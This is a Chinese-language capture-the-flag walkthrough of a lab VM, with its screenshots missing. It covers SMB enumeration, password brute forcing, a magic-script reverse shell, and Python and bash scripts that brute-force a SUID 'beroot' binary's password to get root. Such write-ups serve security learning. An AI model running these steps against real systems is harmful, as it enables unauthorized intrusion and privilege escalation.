1. IP

  2. 端口

    在这里插入图片描述

  3. 访问 80 端口

    在这里插入图片描述

  4. 目录扫描

    在这里插入图片描述

  5. robots.txt & note.txt

    在这里插入图片描述
    在这里插入图片描述

  6. 访问 crossroads.png ,是一张图片

    在这里插入图片描述

  7. 访问 SMB

    smbclient -L 192.168.0.133
    

    在这里插入图片描述

    访问 smbshare 提示需要密码

  8. 对目标上的SMB信息进行枚举

    enum4linux 192.168.0.133 -A
    

    在这里插入图片描述

  9. 爆破 SMB 密码

    在这里插入图片描述

  10. 登录 SMB 服务

    smbclient //192.168.0.133/smbshare -U albert
    

    在这里插入图片描述

    magic script

    在这里插入图片描述

  11. 创建 smbscript.sh ,监听端口,上传到 smb 服务器,即可返回shell

    在这里插入图片描述

  12. 查看 SUID

    在这里插入图片描述

    执行文件需要输入密码,使用之前得到的密码

  13. 在 /home/albert 下存在 crossroads.png ,尝试读取其中的信息

    在这里插入图片描述

  14. 使用 python 脚本或者 sh 脚本

    import subprocess
    import sys
    
    
    with open("p.txt","r",encoding='ISO.8859.1') as fs:
        var= fs.read().splitlines()
    for li in var:
        var1= li
        result= subprocess.getoutput("echo %s | ./beroot"%var1)
        print("testing password "+ var1)
        if "wrong password!!!" not in str(result):
            print(result)
            print("the password is: "+ var1)
            sys.exit(0)
    
    #!/bin/bash
    for password in $(cat pass.txt)
    do
    	echo $password | ./beroot
    done
    

    在这里插入图片描述

  15. 运行 beroot 会生成root的密码,可以直接切换成root用户

Logo

更多推荐